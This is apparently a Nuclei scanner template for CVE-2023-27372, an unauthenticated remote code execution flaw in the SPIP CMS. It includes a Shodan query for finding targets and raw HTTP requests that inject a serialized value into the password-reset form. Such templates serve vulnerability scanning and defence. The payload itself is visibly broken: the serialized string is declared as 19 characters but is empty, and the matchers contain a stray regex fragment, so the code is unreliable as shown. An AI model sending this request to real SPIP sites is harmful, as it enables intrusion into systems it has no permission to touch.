id: CVE-2023-27372 info: name: SPIP - Remote Command Execution author: DhiyaneshDK,nuts7 severity: critical description: | SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1. reference: - https://packetstormsecurity.com/files/171921/SPIP-Remote-Command-Execution.html - https://nvd.nist.gov/vuln/detail/CVE-2023-27372 - https://github.com/nuts7/CVE-2023-27372 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-27372 metadata: max-request: 1 shodan-query: html:"spip.php?page=backend" verified: "true" tags: cve,cve2023,spip,rce http: - raw: - | GET /spip.php?page=spip_pass HTTP/1.1 Host: {{Hostname}} - | POST /spip.php?page=spip_pass HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded page=spip_pass&formulaire_action=oubli&formulaire_action_args={{csrf}}&oubli=s:19:""; matchers-condition: and matchers: - type: word part: body_2 words: - "PHP Extension" - "PHP Version" - "]*value='([^']*)'" - type: regex part: body_2 group: 1 regex: - '>PHP Version <\/td>([0-9.]+)'